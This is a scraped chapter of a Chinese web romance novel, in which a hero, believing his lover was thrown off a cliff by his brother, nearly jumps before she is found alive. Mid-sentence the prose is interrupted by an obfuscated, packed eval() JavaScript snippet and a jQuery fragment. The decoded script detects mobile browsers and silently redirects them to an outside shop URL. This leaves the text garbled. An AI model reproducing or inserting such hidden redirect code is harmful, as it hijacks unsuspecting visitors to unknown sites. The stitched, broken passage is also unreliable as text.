文趣网 > 都市小说 > 药瘾 > 31. 第31章药瘾(加更)
    刘子凡的车在盘山公路上疾驰,雨刷器疯狂摆动,却怎么也刮不尽眼前的模糊。

    他盯着导航上那个闪烁的红点,那是刘金生发来的定位。

    六年前,林一一刹车失灵、连人带车冲下护栏的地方,在这里车祸失忆过。

    六年后,他不想再失去林一一,不想再看着她忘记自己。

    车子急刹在悬崖边的空地上,轮胎摩擦地面的尖叫声被暴雨吞没。

    刘子凡推开车门,暴雨瞬间浇透了他。

    他抬头看去,只见刘金生身穿黑色西服,撑着一把黑伞,站在悬崖边缘。

    他西装的裤脚被雨水打湿,贴在脚踝上。

    他的表情很平静,甚至带着一丝笑意,像在等待一个迟到的客人。

    “来了?”刘金生的声音穿透雨幕,轻飘飘的:“你比我想象的慢。”

    刘子凡没有看他,目光越过他,投向悬崖边那辆黑色商务车。

    车窗紧闭,但是借着闪电的光,他看见后座有一个模糊的身影。

    他以为里面的那个人就是林一一!

    “大哥,你把一一怎么了?”刘子凡的声音哑得像砂纸磨过铁锈。

    “没怎么。”刘金生转动着伞柄,雨水顺着伞沿甩出一道弧线,字字狠心:“就是让她回忆了一下……六年前的感觉。”

    他顿了顿,嘴角的笑意加深:“对了,她刚才还在喊你的名字。你说,她是不是贱啊?都被你伤成那样了,还想着你……”

    “刘金生!”刘子凡嘶吼着冲上去,盯着他的脸喃呢:“哥……你别再逼我了。”

    刘金生侧身避开他的视线,合上雨伞,用伞尖戳在刘子凡胸口,把他顶得后退半步。

    “你急什么?”刘金生的声音冷下来:“我还没说完呢……”

    他抬手,指了指悬崖下方,暴雨中,深渊像一张漆黑的嘴,无声地张着。

    “她刚才……被我丢下去了。”

    听到大哥的最后几个字,刘子凡的血液瞬间冻结。

    “你说什么?大哥……你说什么?”

    “我说……”刘金生一字一顿,每个字都像钉子敲进他的骨头里:“林一一已经被我丢下去了,就在三分钟前,我让人把她从车里拖出来,推下去了,她那时候还在喊着你的名字。”

    他看着刘子凡惨白的脸,忽然笑了,笑得肩膀都在抖:“怎么?你不信?你可以自己去看看啊,看看下面有没有她的尸体。”

    刘子凡的瞳孔骤然收缩,猛地转身,冲向悬崖边缘。

    刘金生的手下上前阻拦,被他一把推开,他跪倒在护栏断裂的地方……

    六年前,林一一的车就是从这里冲下去的。

    “一一!”刘子凡的嘶吼被暴雨撕碎,混着雷声滚进深渊。

    没有人回应,只有雨,只有风,只有深不见底的黑暗。

    刘子凡的手抠进泥水里,指甲翻裂,水污混着雨水往下淌。

    他的肩膀剧烈抽动,像是一头被抽了脊骨的兽。

    “哥,你骗我……”他的声音破碎得不成样子:“你是骗我的对不对?她不会死,她不会的。”

    “我骗你有什么好处?”刘金生蹲下来,抬手将雨伞大开,伞沿遮住他的脸,声音从阴影里透出来:“子凡,你什么时候变得这么天真了?你以为我会留着她?留着她让你和林家和解?留着她让林亿那个老狐狸继续骑在我头上威胁我?”

    他站起身,居高临下地看着跪在地上的刘子凡……

    “她死了,是你亲手害死了林一一。

    六年前你不要她,你让她赌气开车下山。

    六年后你让她等你,刘子凡,你这辈子都欠她。”

    刘子凡的脑子里“嗡”的一声,六年前、刹车被林染破坏,她开车离开。

    这些事,他从来没有对大哥说起过!

    他因此喃喃自语:“如果六年前我没让一一走,我跟林一一和好,她就不会因为车祸失忆,我就不会因为见到她的亲生父亲,只因为他是林亿,只剩下对她父亲的恨,是我……是我把一切都毁掉了。”

    “一一……等我,我下去陪你。”

    刘子凡突然发出一声不似人声的哀嚎,猛地撑起身体,就要往悬崖下跳。

    “拦住他!”刘金生言语一出,两个人立刻冲上来,四只手死死拽住他的胳膊。

    刘子凡挣扎着,踢打着,像一头被逼到绝境的困兽。

    他的眼泪混着雨水往下淌,喉咙里滚出血腥味。

    “放开我!她还在下面!她还在等我!你们放开我!”

    他的膝盖在泥水里拖出两道痕迹,指甲在岩石上抠出血痕。

    刘金生的一个手下被他踹中小腹,闷哼一声松了手,另一个立刻补上来。

    “刘子凡!”林一一尖厉的嘶叫从身后炸开。

    那声音太熟悉了,熟悉到刘子凡的挣扎瞬间僵住。

    他缓缓转过头,黑色商务车的车门不知何时被推开了。

    林一一从车里摔坐在地上,她的手腕此刻被刘金生的领带绑得死死的。

    霎那间,她的头发被雨水打湿贴在惨白的脸上。

    她没有看刘金生,一直看着刘子凡,看着那个跪在悬崖边、浑身泥浆的男人。

    “刘子凡,我在这里……”她的声音抖得不成样子:“不要……不要跳下去。”

    刘子凡看着她,瞳孔涣散,像是不敢相信她还活着。

    “一一……”他张了张嘴,喉咙里像塞了一团浸了水的棉花:“林一一!”

    “刘子凡,你是不是以为我死了?”林一一笑了,笑得比哭还难看:“刘子凡,你还是这么蠢。六年前你蠢,六年后你还蠢。我林一一的命就这么值得?值得你用命来换?”

    她说着,眼泪夹杂着雨水滚了下来,她庆幸刘子凡看不出来她哭了。

    她拼命的摇着头,绑着手腕的领带勒进她的皮肉,她却感觉不到疼。

    “刘子凡,你凭什么跳?你凭什么觉得死了就能赎罪?

    是你欠我的,你要死了,这辈子你欠我的都还不清了!”

    刘子凡闻言挣脱被人拉扯的钳制,踉跄着爬起来,朝她走去。

    有人想要拦,刘金生抬了抬手,示意他们退下。

    他的表情很有趣,像是在看一场精心编排的戏。

    刘子凡走到林一一面前,双膝一弯,泥水溅起来,落在两人的裤脚上。

    他跪在林一一面前,声音像六年前他跪在碎石路上求她挂抵挡停车一样。

    “一一……”他的声音闷在喉咙里,闷哑得不成样子:“我什么都知道了。”

    林一一的肩膀僵住了,只听他补充:“我知道孩子是我的。”

    雨水把刘子凡的脸洗得惨白,他眼睛却红得像两团火。

    “DNA报告,99.99%。林一诺是我的,林一承也是我的,我都知道了。

    我也知道六年前你说谎了,我获奖的那天早晨,你不是生理期,是第一次。

    你当时在这里把化验单递给我,我回绝了,是我混蛋,其实我那天就知道了。

    林一一,我爱你,我爱的人只有你,你不是替代品,你是……是我唯一认定的妻。”

    刘子凡的声音最后像是碎了,像被雨水泡发的纸。

    “我知道你不是故意为了你表姐接近我,你只是想太热心肠,看不到她的感情被破坏,但是我没有破坏他们,我从来没谈过恋爱。我知道你是不得已,才去了庆大读书。我知道……我都知道了,我没办法再欺骗我自己。”

    林一一听着他的言语,脸色越来越白,像一尊被雨水冲刷的石膏像。

    刘子凡见状往前爬了一步,膝盖在泥水里拖出痕迹:“对不起,六年前你车祸后,我不该见到林叔,就直接把你当成仇人的女儿,我不该说你是筹码,让你一个人在那么远的地方生下孩子,我……”

    他说不下去了,低下额头,肩膀剧烈抽动。

    “一一,是我混蛋。是我把你逼成药罐子的。

    是我让你恨得只能说‘你爸爸不在了’,是我。”

    “够了!”林一一突然尖叫起来:“不要说了。”

    她的声音不像人类的叫声,像某种动物被撕裂时的哀鸣。

    她猛地后退了一下,刘子凡伸手去拉她,却扑了个空,看着她倒在了泥水里。

    “不要说了!不要再说了!”

    她躺在地上拼命摇头,绑着手腕的领带勒进皮肉,渗出血丝。

    “为什么?为什么你什么现在才知道?你凭什么现在才说你爱我?”

    林一一的眼泪混着雨水往下淌,声音破碎得不成样子。

    她用尽力气想要坐起来,是刘子凡拉起她,额头抵着她的额头,像两头抵死

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658994|207028||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的兽。

    “刘子凡,我怕你知道孩子是你的,你会把孩子当筹码!

    我怕你会愧疚到崩溃,我怕你知道我吃了四年药,你会……”

    她说不下去了,喉咙里涌上一股腥甜。

    刘子凡的手掌按住她的后脑,把她的脸按在自己的颈窝里。

    她的牙齿陷进他的肩膀,隔着湿透的衬衫,咬出了血。

    他不躲,反而把她箍得更紧。

    “一一,你撕吧,你咬吧,你把我撕碎了,我也认了。”

    他的声音闷在她的发间,闷哑得像从地底传来……

    “我知道你太爱我,爱到不敢让我知道,爱到宁可让我放弃你,也不让我愧疚。”

    他顿了顿,眼泪砸在她的头顶,混着雨水,流进她的发际线。

    林一一的挣扎忽然停了,她僵在他的怀里,像一尊被雨水泡发的泥塑。

    刘金生站在不远处,伞微微倾斜,雨水顺着伞沿淌下来,像一道无声的帘。

    他看着林一一咬刘子凡肩膀、刘子凡不躲的那一幕,表情忽然僵了一下。

    那画面像一根针,刺进他心里某个他以为早已无爱的地方。

    他这条早已烂到骨子里的野狗,默默的在心里喃呢:江妍,我会爱你到至死不渝。

    他深邃的眼眸藏在阴影里,看不清,他的声音却冲破了雨夜:“感人啊!”

    他开口的声音里,带着一丝不易察觉的松懈与祝福:“你们的爱情真感人!"

    他转身,把伞扔在地上,任由暴雨浇透自己,提醒自己:妍妍,我不想弄脏你。

    “刘子凡,你赢了。”他的声音被雨撕碎,轻得像叹息:“我从开始就知道,你会赢!”

    他走向自己的车,皮鞋踩在水坑里,溅起泥点。

    他的手下面面相觑,最终也跟了上去。

    汽车离开之前,刘金生停车,声音从车窗缝隙里漏出来,轻得像一片落叶。

    “当年的刹车油管我没让林染真的弄断,只是让他松了接口。

    或许是林染真的恨你,所以林一一开车的时候,才会发生车祸。”

    刘子凡听到一切,猛地抬头看向身侧的汽车。

    “弟弟,你没理解错,林染是我的人,他一开始就是卧底。

    大哥没有看错人,林染够狠。若是在地下钱庄,他是好刀。”

    刘金生的声音越来越冷酷,冷到刘子凡不敢相信自己的耳朵。

    地下钱庄……那是星海市最脏的地界,只是他不知道,那是刘金生的地盘!

    刘金生的车子发动,尾灯在雨幕中划出两道红线,像两道愈合中的伤口。

    刘子凡看着林一一,他跪在暴雨里,像抱着一件失而复得的瓷器。

    “一一……”他的声音轻得像雨声,字字担心:“你没事吧?”

    林一一没有回答,她的脸埋在他的颈窝里,肩膀微微抽动。

    她开口的声音哑得像砂纸磨过木头,却字字清晰……

    “刘子凡,你知道我为什么给孩子取名一承和一诺吗?”

    “是承诺,是你记得我说过的承诺和一切。”

    “是这个意思,可它……它还有另外一个意思。”

    她顿了顿,抬头看他,雨水顺着她的下巴往下淌。

    “是承接,我想让你承接我们的过去,我的伤口,我的……疼。”

    “一一,我知道药瘾是你戒不掉的,但我也不戒你了,我学不会怎么治疗你,以后你要是睡不着,我守着你。你做噩梦,我抱着你。你哭醒的时候……”他的视线移到她的双手处,松开领带时,他低声补充:“我也会在你身边,我会一直在。”

    林一一被他拉着手,按在他的胸口,他的心跳沉稳,有力,一下下撞着她的掌心。

    远处,一道车灯划破雨幕,林亿的车停在距离他们的不远处。

    老吴撑着伞跟他一起站在车旁,他们没有上前,只是看着雨中的两个人。

    林亿从口袋里摸出刘宜州的旧徽章,在指间缓缓转动。

    银质边缘反射着车灯的光,像某种无声的叹息。

    “老吴……”他低声说:“宜州的儿子……没给他丢脸。”

    老吴没有说话,只是把伞往林亿那边倾斜了一点。

    雨还在下,但小了,落在两个相拥的人身上,他们好像只剩下了彼此。